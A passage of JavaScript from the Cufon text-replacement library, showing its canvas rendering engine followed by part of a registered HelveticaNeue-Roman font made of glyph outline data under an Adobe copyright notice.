			vStyle = cover.style;

			vStyle.width = roundedShapeWidth;
			vStyle.height = roundedHeight;

		}
		else if (cover) canvas.removeChild(cover);

		wStyle.width = Math.max(Math.ceil(size.convert(width * stretchFactor)), 0);

		if (HAS_BROKEN_LINEHEIGHT) {

			var yAdjust = style.computedYAdjust;

			if (yAdjust === undefined) {
				var lineHeight = style.get('lineHeight');
				if (lineHeight == 'normal') lineHeight = '1em';
				else if (!isNaN(lineHeight)) lineHeight += 'em'; // no unit
				style.computedYAdjust = yAdjust = 0.5 * (getSizeInPixels(el, lineHeight) - parseFloat(wStyle.height));
			}

			if (yAdjust) {
				wStyle.marginTop = Math.ceil(yAdjust) + 'px';
				wStyle.marginBottom = yAdjust + 'px';
			}

		}

		return wrapper;

	};

})());

Cufon.registerEngine('canvas', (function() {

	// Safari 2 doesn't support .apply() on native methods

	var check = document.createElement('canvas');
	if (!check || !check.getContext || !check.getContext.apply) return;
	check = null;

	var HAS_INLINE_BLOCK = Cufon.CSS.supports('display', 'inline-block');

	// Firefox 2 w/ non-strict doctype (almost standards mode)
	var HAS_BROKEN_LINEHEIGHT = !HAS_INLINE_BLOCK && (document.compatMode == 'BackCompat' || /frameset|transitional/i.test(document.doctype.publicId));

	var styleSheet = document.createElement('style');
	styleSheet.type = 'text/css';
	styleSheet.appendChild(document.createTextNode((
		'cufon{text-indent:0;}' +
		'@media screen,projection{' +
			'cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;' +
			(HAS_BROKEN_LINEHEIGHT
				? ''
				: 'font-size:1px;line-height:1px;') +
			'}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;text-align:left;text-indent:-10000in;}' +
			(HAS_INLINE_BLOCK
				? 'cufon canvas{position:relative;}'
				: 'cufon canvas{position:absolute;}') +
			'cufonshy.cufon-shy-disabled,.cufon-viewport-resizing cufonshy{display:none;}' +
			'cufonglue{white-space:nowrap;display:inline-block;}' +
			'.cufon-viewport-resizing cufonglue{white-space:normal;}' +
		'}' +
		'@media print{' +
			'cufon{padding:0;}' + // Firefox 2
			'cufon canvas{display:none;}' +
		'}'
	).replace(/;/g, '!important;')));
	document.getElementsByTagName('head')[0].appendChild(styleSheet);

	function generateFromVML(path, context) {
		var atX = 0, atY = 0;
		var code = [], re = /([mrvxe])([^a-z]*)/g, match;
		generate: for (var i = 0; match = re.exec(path); ++i) {
			var c = match[2].split(',');
			switch (match[1]) {
				case 'v':
					code[i] = { m: 'bezierCurveTo', a: [ atX + ~~c[0], atY + ~~c[1], atX + ~~c[2], atY + ~~c[3], atX += ~~c[4], atY += ~~c[5] ] };
					break;
				case 'r':
					code[i] = { m: 'lineTo', a: [ atX += ~~c[0], atY += ~~c[1] ] };
					break;
				case 'm':
					code[i] = { m: 'moveTo', a: [ atX = ~~c[0], atY = ~~c[1] ] };
					break;
				case 'x':
					code[i] = { m: 'closePath' };
					break;
				case 'e':
					break generate;
			}
			context[code[i].m].apply(context, code[i].a);
		}
		return code;
	}

	function interpret(code, context) {
		for (var i = 0, l = code.length; i < l; ++i) {
			var line = code[i];
			context[line.m].apply(context, line.a);
		}
	}

	return function(font, text, style, options, node, el) {

		var redraw = (text === null);

		if (redraw) text = node.getAttribute('alt');

		var viewBox = font.viewBox;

		var size = style.getSize('fontSize', font.baseSize);

		var expandTop = 0, expandRight = 0, expandBottom = 0, expandLeft = 0;
		var shadows = options.textShadow, shadowOffsets = [];
		if (shadows) {
			for (var i = shadows.length; i--;) {
				var shadow = shadows[i];
				var x = size.convertFrom(parseFloat(shadow.offX));
				var y = size.convertFrom(parseFloat(shadow.offY));
				shadowOffsets[i] = [ x, y ];
				if (y < expandTop) expandTop = y;
				if (x > expandRight) expandRight = x;
				if (y > expandBottom) expandBottom = y;
				if (x < expandLeft) expandLeft = x;
			}
		}

		var chars = Cufon.CSS.textTransform(text, style).split('');

		var jumps = font.spacing(chars,
			~~size.convertFrom(parseFloat(style.get('letterSpacing')) || 0),
			~~size.convertFrom(parseFloat(style.get('wordSpacing')) || 0)
		);

		if (!jumps.length) return null; // there's nothing to render

		var width = jumps.total;

		expandRight += viewBox.width - jumps[jumps.length - 1];
		expandLeft += viewBox.minX;

		var wrapper, canvas;

		if (redraw) {
			wrapper = node;
			canvas = node.firstChild;
		}
		else {
			wrapper = document.createElement('cufon');
			wrapper.className = 'cufon cufon-canvas';
			wrapper.setAttribute('alt', text);

			canvas = document.createElement('canvas');
			wrapper.appendChild(canvas);

			if (options.printable) {
				var print = document.createElement('cufontext');
				print.appendChild(document.createTextNode(text));
				wrapper.appendChild(print);
			}
		}

		var wStyle = wrapper.style;
		var cStyle = canvas.style;

		var height = size.convert(viewBox.height);
		var roundedHeight = Math.ceil(height);
		var roundingFactor = roundedHeight / height;
		var stretchFactor = roundingFactor * Cufon.CSS.fontStretch(style.get('fontStretch'));
		var stretchedWidth = width * stretchFactor;

		var canvasWidth = Math.ceil(size.convert(stretchedWidth + expandRight - expandLeft));
		var canvasHeight = Math.ceil(size.convert(viewBox.height - expandTop + expandBottom));

		canvas.width = canvasWidth;
		canvas.height = canvasHeight;

		// needed for WebKit and full page zoom
		cStyle.width = canvasWidth + 'px';
		cStyle.height = canvasHeight + 'px';

		// minY has no part in canvas.height
		expandTop += viewBox.minY;

		cStyle.top = Math.round(size.convert(expandTop - font.ascent)) + 'px';
		cStyle.left = Math.round(size.convert(expandLeft)) + 'px';

		var wrapperWidth = Math.max(Math.ceil(size.convert(stretchedWidth)), 0) + 'px';

		if (HAS_INLINE_BLOCK) {
			wStyle.width = wrapperWidth;
			wStyle.height = size.convert(font.height) + 'px';
		}
		else {
			wStyle.paddingLeft = wrapperWidth;
			wStyle.paddingBottom = (size.convert(font.height) - 1) + 'px';
		}

		var g = canvas.getContext('2d'), scale = height / viewBox.height;

		// proper horizontal scaling is performed later
		g.scale(scale, scale * roundingFactor);
		g.translate(-expandLeft, -expandTop);
		g.save();

		function renderText() {
			var glyphs = font.glyphs, glyph, i = -1, j = -1, chr;
			g.scale(stretchFactor, 1);
			while (chr = chars[++i]) {
				var glyph = glyphs[chars[i]] || font.missingGlyph;
				if (!glyph) continue;
				if (glyph.d) {
					g.beginPath();
					if (glyph.code) interpret(glyph.code, g);
					else glyph.code = generateFromVML('m' + glyph.d, g);
					g.fill();
				}
				g.translate(jumps[++j], 0);
			}
			g.restore();
		}

		if (shadows) {
			for (var i = shadows.length; i--;) {
				var shadow = shadows[i];
				g.save();
				g.fillStyle = shadow.color;
				g.translate.apply(g, shadowOffsets[i]);
				renderText();
			}
		}

		var gradient = options.textGradient;
		if (gradient) {
			var stops = gradient.stops, fill = g.createLinearGradient(0, viewBox.minY, 0, viewBox.maxY);
			for (var i = 0, l = stops.length; i < l; ++i) {
				fill.addColorStop.apply(fill, stops[i]);
			}
			g.fillStyle = fill;
		}
		else g.fillStyle = style.get('color');

		renderText();

		return wrapper;

	};

})());
;
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright (c) 1988, 1990 Adobe Systems Incorporated.  All Rights
 * Reserved.Helvetica is a registered trademark of Linotype AG and/or its
 * subsidiaries.
 * 
 * Full name:
 * HelveticaNeue-Roman
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"-7,0r279,-714r105,0r279,714r-105,0r-78,-215r-302,0r-80,215r-98,0xm322,-628r-121,333r242,0r-119,-333r-2,0xm260,-884v49,-1,95,39,140,40v26,0,40,-24,46,-44r52,0v-9,56,-35,114,-110,111v-35,-1,-97,-39,-133,-39v-22,0,-50,17,-48,42r-52,0v16,-59,42,-110,105,-110","w":648},{"d":"78,0r0,-339r-70,0r0,-68r70,0r0,-307r245,0v220,0,343,110,343,340v0,239,-105,374,-343,374r-245,0xm173,-634r0,227r214,0r0,68r-214,0r0,259r158,0v65,0,240,-18,240,-281v0,-170,-63,-273,-238,-273r-160,0","w":704},{"d":"135,28r435,-753r64,0r-435,753r-64,0xm219,-709r0,429r-68,0r0,-308r-115,0r0,-50v63,0,121,-15,133,-71r50,0xm803,-303v0,138,-209,157,-241,248r235,0r0,55r-303,0v5,-101,60,-137,125,-174v78,-45,116,-71,116,-130v0,-42,-37,-70,-83,-70v-60,0,-82,47,-82,99r-68,0v0,-92,60,-154,153,-154v81,0,148,46,148,126","w":834},{"d":"154,0r-85,0r0,-517r85,0r0,517xm50,-588r86,-143r109,0r-131,143r-64,0","w":222},{"d":"64,0r0,-517r80,0v2,24,-4,56,2,76v38,-58,96,-88,167,-88v63,0,121,25,142,88v67,-127,334,-125,334,62r0,379r-85,0r0,-339v0,-64,-17,-115,-100,-115v-82,0,-135,52,-135,132r0,322r-85,0r0,-339v0,-67,-21,-115,-97,-115v-101,0,-138,93,-138,132r0,322r-85,0","w":853},{"d":"64,0r0,-517r80,0v2,26,-4,60,2,82v36,-64,94,-94,168,-94v136,0,178,78,178,189r0,340r-85,0r0,-350v0,-63,-40,-104,-105,-104v-103,0,-153,69,-153,162r0,292r-85,0"},{"d":"48,-219r0,-68r504,0r0,68r-504,0xm236,-459v0,-35,30,-64,64,-64v34,0,64,30,64,64v0,32,-30,64,-63,64v-35,0,-65,-30,-65,-64xm236,-47v0,-35,30,-64,64,-64v34,0,64,30,64,64v0,32,-30,64,-63,64v-35,0,-65,-30,-65,-64","w":600},{"d":"723,-429r0,278r60,0r0,55r-60,0r0,96r-62,0r0,-96r-199,0r0,-58r210,-275r51,0xm659,-344r-148,193r150,0r0,-193r-2,0xm150,28r435,-753r64,0r-435,753r-64,0xm219,-709r0,429r-68,0r0,-308r-115,0r0,-50v63,0,121,-15,133,-71r50,0","w":834},{"d":"83,0r0,-111r111,0v5,130,2,227,-110,258r0,-50v45,-15,60,-65,58,-97r-59,0","w":278},{"d":"249,-709r0,429r-68,0r0,-308r-115,0r0,-50v63,-1,121,-15,133,-71r50,0","w":333},{"d":"66,0r0,-111r111,0v4,123,7,257,-110,258r0,-50v45,0,58,-51,58,-97r-59,0xm249,0r0,-111r111,0v4,123,7,257,-110,258r0,-50v45,0,58,-51,58,-97r-59,0","w":426},{"d":"188,22r538,-744r85,0r-537,744r-86,0xm586,-186v0,-107,39,-203,162,-203v124,0,160,91,160,200v0,104,-44,201,-160,201v-121,0,-162,-90,-162,-198xm661,-188v0,58,9,145,84,145v76,0,88,-84,88,-146v0,-59,-10,-145,-85,-145v-74,0,-87,86,-87,146xm92,-506v0,-107,39,-203,162,-203v124,0,160,91,160,200v0,104,-44,201,-160,201v-121,0,-162,-90,-162,-198xm167,-508v0,58,9,145,84,145v76,0,88,-84,88,-146v0,-59,-10,-145,-85,-145v-74,0,-87,86,-87,146","w":1000},{"d":"82,0r0,-714r95,0r0,714r-95,0xm179,-769r0,-104r90,0r0,104r-90,0xm-9,-769r0,-104r90,0r0,104r-90,0","w":259},{"d":"236,155r0,-197r-194,0r0,-75r194,0r0,-325r-194,0r0,-75r194,0r0,-197r80,0r0,197r198,0r0,75r-198,0r0,325r198,0r0,75r-198,0r0,197r-80,0"},{"d":"78,0r0,-240r-79,56r0,-76r79,-56r0,-398r95,0r0,330r228,-160r0,76r-228,160r0,228r378,0r0,80r-473,0"},{"d":"38,-357v0,-194,115,-374,342,-374v227,0,342,180,342,374v0,194,-115,374,-342,374v-227,0,-342,-180,-342,-374xm133,-357v0,144,73,294,247,294v174,0,247,-150,247,-294v0,-144,-73,-294,-247,-294v-174,0,-247,150,-247,294xm316,-884v49,-1,95,39,140,40v26,0,40,-24,46,-44r52,0v-9,56,-35,114,-110,111v-35,-1,-97,-39,-133,-39v-22,0,-50,17,-48,42r-52,0v16,-59,42,-110,105,-110","w":760},{"d":"48,-219r0,-68r504,0r0,68r-504,0","w":600},{"d":"421,-164r84,0v-23,114,-105,176,-221,176v-165,0,-248,-114,-248,-272v0,-155,102,-269,243,-269v183,0,239,171,234,296r-387,0v-3,90,48,170,161,170v70,0,119,-34,134,-101xm126,-308r297,0v-4,-81,-65,-146,-149,-146v-89,0,-142,67,-148,146xm119,-588r103,-143r93,0r104,143r-84,0r-69,-96r-70,96r-77,0","w":537},{"d":"648,-714r0,456v0,180,-103,275,-281,275v-184,0,-293,-85,-293,-275r0,-456r95,0r0,456v0,126,72,195,198,195v120,0,186,-69,186,-195r0,-456r95,0","w":722},{"d":"69,0r0,-714r85,0r0,714r-85,0","w":222},{"d":"261,-731r-103,143r-93,0r-104,-143r84,0r69,96r70,-96r77,0","w":222},{"d":"78,0r0,-714r493,0r0,80r-398,0r0,227r371,0r0,80r-371,0r0,247r401,0r0,80r-496,0xm245,-765r86,-143r109,0r-131,143r-64,0","w":611},{"d":"99,0r0,-442r-87,0r0,-75r87,0r0,-77v-7,-103,94,-147,198,-120r0,74v-51,-14,-113,-14,-113,51r0,72r100,0r0,75r-100,0r0,442r-85,0xm365,0r0,-714r85,0r0,714r-85,0","w":518},{"d":"492,-517r0,517r-80,0v-2,-26,4,-60,-2,-82v-36,64,-94,94,-168,94v-136,0,-178,-78,-178,-189r0,-340r85,0r0,350v0,63,40,104,105,104v103,0,153,-69,153,-162r0,-292r85,0xm128,-588r103,-143r93,0r104,143r-84,0r-69,-96r-70,96r-77,0"},{"d":"24,-359v0,-211,172,-372,377,-372v204,0,375,161,375,372v0,215,-171,376,-375,376v-205,0,-377,-161,-377,-376xm92,-359v0,183,134,321,309,321v173,0,307,-138,307,-321v0,-178,-134,-317,-307,-317v-175,0,-309,139,-309,317xm535,-285r64,0v-21,97,-94,157,-186,157v-135,0,-222,-98,-222,-229v0,-133,82,-228,219,-228v95,0,173,52,188,152r-63,0v-11,-56,-58,-97,-124,-97v-99,0,-152,75,-152,171v0,94,59,176,154,176v66,0,113,-43,122,-102","w":800},{"d":"194,-315v67,0,157,72,213,72v40,0,65,-41,88,-76r36,50v-30,42,-63,86,-125,86v-82,0,-131,-72,-217,-72v-44,0,-68,41,-84,76r-36,-50v22,-42,58,-86,125,-86","w":600},{"d":"69,0r0,-321r-70,55r0,-71r70,-56r0,-321r85,0r0,254r70,-56r0,71r-70,56r0,389r-85,0","w":222},{"d":"72,-535v0,-97,40,-174,148,-174v158,0,181,195,106,296v-25,34,-67,45,-108,45v-104,0,-146,-71,-146,-167xm147,-538v0,52,10,115,72,115v59,0,72,-65,72,-114v0,-43,-11,-117,-68,-117v-61,0,-76,65,-76,116xm90,22r538,-744r85,0r-537,744r-86,0xm437,-155v0,-97,40,-174,148,-174v158,0,181,195,106,296v-25,34,-67,45,-108,45v-104,0,-146,-71,-146,-167xm512,-158v0,52,10,115,72,115v59,0,72,-65,72,-114v0,-43,-11,-117,-68,-117v-61,0,-76,65,-76,116xm782,-155v0,-97,40,-174,148,-174v158,0,181,195,106,296v-25,34,-67,45,-108,45v-104,0,-146,-71,-146,-167xm857,-158v0,52,10,115,72,115v59,0,72,-65,72,-114v0,-43,-11,-117,-68,-117v-61,0,-76,65,-76,116","w":1148},{"d":"111,0r0,-111r111,0r0,111r-111,0xm444,0r0,-111r111,0r0,111r-111,0xm777,0r0,-111r111,0r0,111r-111,0","w":1000},{"d":"272,-506v55,0,102,18,141,56v-31,-69,-91,-129,-122,-151r-115,54r-38,-40r109,-51v-21,-18,-51,-37,-70,-48r70,-45v18,13,51,35,77,56r120,-56r35,37r-115,53v119,98,174,230,174,383v0,151,-87,270,-251,270v-164,0,-251,-119,-251,-270v0,-130,84,-248,236,-248xm282,-431v-102,0,-156,71,-156,173v0,125,72,195,161,195v89,0,161,-70,161,-195v0,-91,-49,-173,-166,-173","w":574},{"d":"48,-271r0,-68r218,0r0,-166r68,0r0,166r218,0r0,68r-218,0r0,167r-68,0r0,-167r-218,0xm48,0r0,-68r504,0r0,68r-504,0","w":600},{"d":"183,-170r369,-407v-39,-45,-96,-74,-172,-74v-246,2,-302,302,-197,481xm579,-541r-369,407v39,44,95,71,170,71v245,-2,301,-298,199,-478xm691,-730r32,30r-82,90v169,225,70,627,-261,627v-97,0,-174,-33,-229,-86r-81,89r-33,-30r84,-92v-171,-223,-73,-629,259,-629v99,0,176,34,232,88","w":760},{"d":"441,-714r0,536v0,97,-51,195,-211,195v-149,0,-220,-91,-208,-252r95,0v-3,98,11,172,115,172v87,0,114,-50,114,-129r0,-522r95,0","w":519},{"d":"105,-456r0,-258r68,0r0,258r-68,0","w":278},{"d":"492,-517r-225,586v-46,123,-95,156,-209,129r0,-78v48,21,101,13,120,-35r35,-88r-205,-514r96,0r151,423r2,0r145,-423r90,0xm299,-592r0,-104r90,0r0,104r-90,0xm111,-592r0,-104r90,0r0,104r-90,0","w":500},{"d":"57,-442r152,120r0,88r-152,120r0,-86r100,-78r-100,-78r0,-86","w":259},{"d":"78,0r0,-714r493,0r0,80r-398,0r0,227r371,0r0,80r-371,0r0,247r401,0r0,80r-496,0xm156,-765r103,-143r93,0r104,143r-84,0r-69,-96r-70,96r-77,0","w":611},{"d":"69,0r0,-517r85,0r0,517r-85,0xm154,-714r0,104r-85,0r0,-104r85,0","w":222},{"d":"-7,0r279,-714r105,0r279,714r-105,0r-78,-215r-302,0r-80,215r-98,0xm322,-628r-121,333r242,0r-119,-333r-2,0xm321,-765r-131,-143r109,0r86,143r-64,0","w":648},{"d":"22,0r0,-65r312,-377r-292,0r0,-75r402,0r0,58r-316,384r330,0r0,75r-436,0","w":480},{"d":"272,-69v112,0,154,-103,154,-200v0,-91,-40,-185,-147,-185v-109,0,-153,89,-153,188v0,93,34,197,146,197xm510,-517r0,473v0,168,-77,254,-240,254v-97,0,-209,-39,-214,-152r85,0v4,62,78,84,134,84v121,0,166,-103,153,-230v-28,63,-96,94,-161,94v-154,0,-231,-121,-231,-262v0,-122,60,-273,239,-273v66,-1,122,31,155,86r0,-74r80,0","w":574},{"d":"467,-263v0,-97,-50,-191,-160,-191v-114,0,-158,98,-158,195v0,102,46,196,163,196v116,0,155,-99,155,-200xm67,198r0,-715r85,0v2,22,-4,52,2,70v28,-57,94,-82,165,-82v159,0,238,126,238,272v0,146,-78,269,-236,269v-55,0,-128,-24,-169,-81r0,267r-85,0","w":593},{"d":"195,-567r0,111r-111,0v-4,-123,-7,-257,110,-258r0,50v-45,0,-58,51,-58,97r59,0","w":278,"k":{"\u2018":95}},{"d":"551,-505v2,-96,-77,-146,-177,-146v-162,0,-241,139,-241,300v0,159,82,288,239,288v100,0,179,-59,179,-141r0,-301xm551,0v-2,-22,4,-51,-2,-69v-35,55,-111,86,-184,86v-211,0,-327,-163,-327,-372v0,-215,123,-376,335,-376v68,0,146,28,178,76r0,-59r477,0r0,80r-382,0r0,227r350,0r0,80r-350,0r0,247r388,0r0,80r-483,0","w":1074},{"d":"31,-163r85,0v3,76,69,100,139,100v53,0,125,-12,125,-77v0,-66,-84,-77,-169,-96v-84,-19,-169,-47,-169,-146v0,-104,103,-147,193,-147v114,0,205,36,212,162r-85,0v-6,-66,-64,-87,-120,-87v-51,0,-110,14,-110,66v0,61,90,72,169,90v85,20,169,47,169,147v0,123,-115,163,-220,163v-116,0,-214,-47,-219,-175","w":500},{"d":"156,-137r242,-270v-105,-102,-272,-32,-272,149v0,48,11,88,30,121xm420,-377r-242,269v106,99,270,28,270,-150v0,-49,-11,-89,-28,-119xm540,-509r-60,66v38,47,58,112,58,185v0,151,-87,270,-251,270v-69,0,-124,-21,-165,-57r-60,67r-28,-24r62,-69v-40,-49,-60,-114,-60,-187v0,-152,87,-271,251,-271v70,0,126,21,168,59r58,-65","w":574},{"d":"864,-233r-375,0v-3,90,48,170,149,170v67,0,120,-37,140,-101r81,0v-34,117,-106,176,-221,176v-87,0,-156,-27,-188,-102v-32,75,-102,102,-179,102v-163,0,-235,-124,-235,-271v0,-151,75,-270,235,-270v79,0,145,19,179,91v36,-61,110,-91,183,-91v172,0,240,133,231,296xm489,-308r285,0v0,-87,-52,-146,-141,-146v-89,0,-145,61,-144,146xm415,-260v0,-95,-27,-194,-144,-194v-109,0,-145,105,-145,206v0,88,40,185,145,185v114,0,144,-104,144,-197","w":891},{"d":"22,0r0,-80r444,-554r-410,0r0,-80r522,0r0,80r-443,554r455,0r0,80r-568,0xm456,-908r-103,143r-93,0r-104,-143r84,0r69,96r70,-96r77,0","w":611},{"d":"309,-731r0,60r-50,0v-39,0,-48,44,-48,86r0,183v0,94,-64,128,-87,134r0,3v23,3,87,32,87,134r0,183v0,41,9,86,48,86r50,0r0,60v-108,9,-178,-14,-178,-131r0,-182v0,-73,-41,-117,-83,-117r0,-68v42,0,83,-48,83,-118r0,-182v9,-116,70,-141,178,-131","w":333},{"d":"64,0r0,-531v0,-119,79,-200,198,-200v98,0,207,59,207,175v0,76,-34,129,-104,157v90,11,136,92,136,179v0,150,-114,252,-274,228r0,-74v107,18,184,-46,184,-143v0,-130,-72,-150,-184,-150r0,-68v81,5,152,-23,152,-116v0,-63,-48,-113,-111,-113v-70,0,-119,29,-119,140r0,516r-85,0"},{"d":"154,-517r0,583v0,109,-70,145,-168,128r0,-73v55,7,83,2,83,-69r0,-569r85,0xm154,-714r0,104r-85,0r0,-104r85,0","w":222},{"d":"47,-707v49,-1,95,39,140,40v26,0,40,-24,46,-44r52,0v-9,56,-35,114,-110,111v-35,-1,-97,-39,-133,-39v-22,0,-50,17,-48,42r-52,0v16,-59,42,-110,105,-110","w":222},{"d":"192,-709v109,0,167,72,167,166v0,96,-57,163,-166,163v-106,0,-168,-68,-168,-163v0,-93,58,-166,167,-166xm192,-659v-54,0,-99,36,-99,116v0,60,28,113,100,113v71,0,98,-52,98,-112v0,-97,-56,-117,-99,-117","w":384},{"d":"-39,-588r103,-143r93,0r104,143r-84,0r-69,-96r-70,96r-77,0","w":222},{"d":"64,0r0,-517r80,0v2,26,-4,60,2,82v36,-64,94,-94,168,-94v136,0,178,78,178,189r0,340r-85,0r0,-350v0,-63,-40,-104,-105,-104v-103,0,-153,69,-153,162r0,292r-85,0xm214,-707v49,-1,95,39,140,40v26,0,40,-24,46,-44r52,0v-9,56,-35,114,-110,111v-35,-1,-97,-39,-133,-39v-22,0,-50,17,-48,42r-52,0v16,-59,42,-110,105,-110"},{"d":"83,0r0,-111r111,0r0,111r-111,0","w":278},{"d":"587,-269r95,0v-18,175,-126,283,-301,285r-29,37v41,-13,123,2,119,68v-7,101,-137,103,-216,70r18,-44v33,16,123,25,123,-18v0,-32,-58,-38,-88,-23r-17,-28r49,-63v-200,-15,-297,-172,-297,-370v0,-207,118,-376,338,-376v149,0,272,80,294,232r-95,0v-20,-101,-101,-152,-200,-152v-170,0,-242,140,-242,289v0,163,72,299,243,299v125,0,197,-88,206,-206","w":722},{"d":"36,-258v0,-152,87,-271,251,-271v164,0,251,119,251,271v0,151,-87,270,-251,270v-164,0,-251,-119,-251,-270xm126,-258v0,125,72,195,161,195v89,0,161,-70,161,-195v0,-126,-72,-196,-161,-196v-89,0,-161,70,-161,196xm226,-588r86,-143r109,0r-131,143r-64,0","w":574},{"d":"31,-163r85,0v3,76,69,100,139,100v53,0,125,-12,125,-77v0,-66,-84,-77,-169,-96v-84,-19,-169,-47,-169,-146v0,-104,103,-147,193,-147v114,0,205,36,212,162r-85,0v-6,-66,-64,-87,-120,-87v-51,0,-110,14,-110,66v0,61,90,72,169,90v85,20,169,47,169,147v0,123,-115,163,-220,163v-116,0,-214,-47,-219,-175xm400,-731r-103,143r-93,0r-104,-143r84,0r69,96r70,-96r77,0","w":500},{"d":"384,-267v-70,49,-258,4,-258,128v0,56,48,76,100,76v112,0,158,-70,158,-117r0,-87xm522,-68r0,66v-51,28,-141,18,-133,-66v-47,55,-110,80,-182,80v-94,0,-171,-42,-171,-145v0,-117,87,-142,175,-159v94,-18,174,-12,174,-76v0,-74,-61,-86,-115,-86v-72,0,-125,22,-129,98r-85,0v5,-128,104,-173,219,-173v93,0,194,21,194,142r0,266v-4,55,13,67,53,53xm119,-588r103,-143r93,0r104,143r-84,0r-69,-96r-70,96r-77,0","w":537},{"d":"581,-505r-90,0v-11,-102,-79,-146,-177,-146v-80,0,-160,29,-160,122v0,88,114,101,229,127v114,26,228,66,228,206v0,152,-149,213,-279,213v-160,0,-295,-78,-295,-252r90,0v0,120,100,172,208,172v86,0,181,-27,181,-130v0,-98,-114,-115,-228,-140v-114,-25,-229,-58,-229,-189v0,-145,129,-209,259,-209v146,0,257,69,263,226xm474,-908r-103,143r-93,0r-104,-143r84,0r69,96r70,-96r77,0","w":648},{"d":"646,-714r-273,422r0,292r-95,0r0,-292r-276,-422r113,0r214,340r209,-340r108,0xm263,-765r86,-143r109,0r-131,143r-64,0","w":648},{"d":"108,-588r-131,-143r109,0r86,143r-64,0","w":222},{"d":"384,-267v-70,49,-258,4,-258,128v0,56,48,76,100,76v112,0,158,-70,158,-117r0,-87xm522,-68r0,66v-51,28,-141,18,-133,-66v-47,55,-110,80,-182,80v-94,0,-171,-42,-171,-145v0,-117,87,-142,175,-159v94,-18,174,-12,174,-76v0,-74,-61,-86,-115,-86v-72,0,-125,22,-129,98r-85,0v5,-128,104,-173,219,-173v93,0,194,21,194,142r0,266v-4,55,13,67,53,53xm205,-707v49,-1,95,39,140,40v26,0,40,-24,46,-44r52,0v-9,56,-35,114,-110,111v-35,-1,-97,-39,-133,-39v-22,0,-50,17,-48,42r-52,0v16,-59,42,-110,105,-110","w":537},{"d":"-7,0r279,-714r105,0r279,714r-105,0r-78,-215r-302,0r-80,215r-98,0xm322,-628r-121,333r242,0r-119,-333r-2,0xm373,-769r0,-104r90,0r0,104r-90,0xm185,-769r0,-104r90,0r0,104r-90,0","w":648},{"d":"182,-672r0,155r103,0r0,75r-103,0r0,321v-10,53,50,46,103,46r0,75v-109,1,-188,10,-188,-113r0,-329r-88,0r0,-75r88,0r0,-155r85,0","w":315},{"d":"50,-264r218,-433r64,0r218,433r-70,0r-181,-360r-178,360r-71,0","w":600},{"d":"154,0r-85,0r0,-517r85,0r0,517","w":222},{"d":"494,-505v0,242,-327,249,-371,430r364,0r0,75r-463,0v14,-168,99,-228,199,-290v120,-74,181,-118,181,-216v0,-77,-62,-128,-137,-128v-99,0,-141,91,-138,176r-85,0v-7,-144,78,-251,228,-251v124,0,222,72,222,204"},{"d":"467,-263v0,-97,-50,-191,-160,-191v-114,0,-158,98,-158,195v0,102,46,196,163,196v116,0,155,-99,155,-200xm152,-714r0,267r2,0v28,-57,94,-82,165,-82v159,0,238,126,238,272v0,146,-78,269,-236,269v-55,0,-128,-24,-169,-81r0,267r-85,0r0,-912r85,0","w":593},{"d":"36,-258v0,-152,87,-271,251,-271v164,0,251,119,251,271v0,151,-87,270,-251,270v-164,0,-251,-119,-251,-270xm126,-258v0,125,72,195,161,195v89,0,161,-70,161,-195v0,-126,-72,-196,-161,-196v-89,0,-161,70,-161,196xm223,-707v49,-1,95,39,140,40v26,0,40,-24,46,-44r52,0v-9,56,-35,114,-110,111v-35,-1,-97,-39,-133,-39v-22,0,-50,17,-48,42r-52,0v16,-59,42,-110,105,-110","w":574},{"d":"5,191r18,-44v33,16,123,25,123,-18v0,-32,-58,-38,-88,-23r-17,-28r61,-78r42,0r-42,53v41,-13,123,2,119,68v-7,101,-137,103,-216,70","w":222},{"d":"-7,0r279,-714r105,0r279,714r-105,0r-78,-215r-302,0r-80,215r-98,0xm322,-628r-121,333r242,0r-119,-333r-2,0xm256,-839v0,38,30,68,68,68v38,0,68,-30,68,-68v0,-38,-30,-68,-68,-68v-38,0,-68,30,-68,68xm211,-839v0,-62,51,-113,113,-113v62,0,113,51,113,113v0,62,-51,113,-113,113v-62,0,-113,-51,-113,-113","w":648},{"d":"648,-714r0,456v0,180,-103,275,-281,275v-184,0,-293,-85,-293,-275r0,-456r95,0r0,456v0,126,72,195,198,195v120,0,186,-69,186,-195r0,-456r95,0xm211,-765r103,-143r93,0r104,143r-84,0r-69,-96r-70,96r-77,0","w":722},{"d":"648,-714r0,456v0,180,-103,275,-281,275v-184,0,-293,-85,-293,-275r0,-456r95,0r0,456v0,126,72,195,198,195v120,0,186,-69,186,-195r0,-456r95,0xm358,-765r-131,-143r109,0r86,143r-64,0","w":722},{"d":"467,-263v0,-97,-50,-191,-160,-191v-114,0,-158,98,-158,195v0,102,46,196,163,196v116,0,155,-99,155,-200xm67,0r0,-714r85,0r0,267r2,0v28,-57,94,-82,165,-82v159,0,238,126,238,272v0,146,-78,269,-236,269v-55,0,-128,-24,-169,-81r0,69r-85,0","w":593},{"d":"38,-357v0,-194,115,-374,342,-374v227,0,342,180,342,374v0,194,-115,374,-342,374v-227,0,-342,-180,-342,-374xm133,-357v0,144,73,294,247,294v174,0,247,-150,247,-294v0,-144,-73,-294,-247,-294v-174,0,-247,150,-247,294xm377,-765r-131,-143r109,0r86,143r-64,0","w":760},{"d":"411,-148r-164,-197v-67,38,-124,76,-124,161v0,72,67,121,136,121v65,0,117,-33,152,-85xm534,0r-76,-89v-43,67,-124,101,-202,101v-193,0,-223,-137,-223,-195v0,-112,76,-168,167,-216v-40,-57,-79,-95,-79,-168v0,-78,58,-147,161,-147v89,0,173,49,173,146v0,85,-65,146,-134,185r129,157v13,-35,21,-73,23,-111r81,0v-7,84,-18,113,-48,176r139,161r-111,0xm275,-439v41,-26,95,-64,95,-124v0,-41,-31,-76,-82,-76v-40,0,-82,24,-82,76v0,43,38,85,69,124","w":630},{"d":"398,17v-69,0,-132,-41,-204,-41v-39,0,-69,14,-100,35r-47,-66v84,-50,145,-167,85,-272r-85,0r0,-45r58,0v-27,-45,-47,-94,-47,-156v0,-127,106,-203,228,-203v147,0,239,87,236,258r-85,0v-3,-115,-50,-183,-146,-183v-80,0,-143,57,-143,131v0,66,29,104,52,153r159,0r0,45r-137,0v11,21,20,47,20,75v0,90,-56,139,-116,188r2,2v34,-15,65,-29,105,-29v74,-1,113,33,179,33v32,0,65,-18,89,-37r43,66v-40,34,-94,46,-146,46"}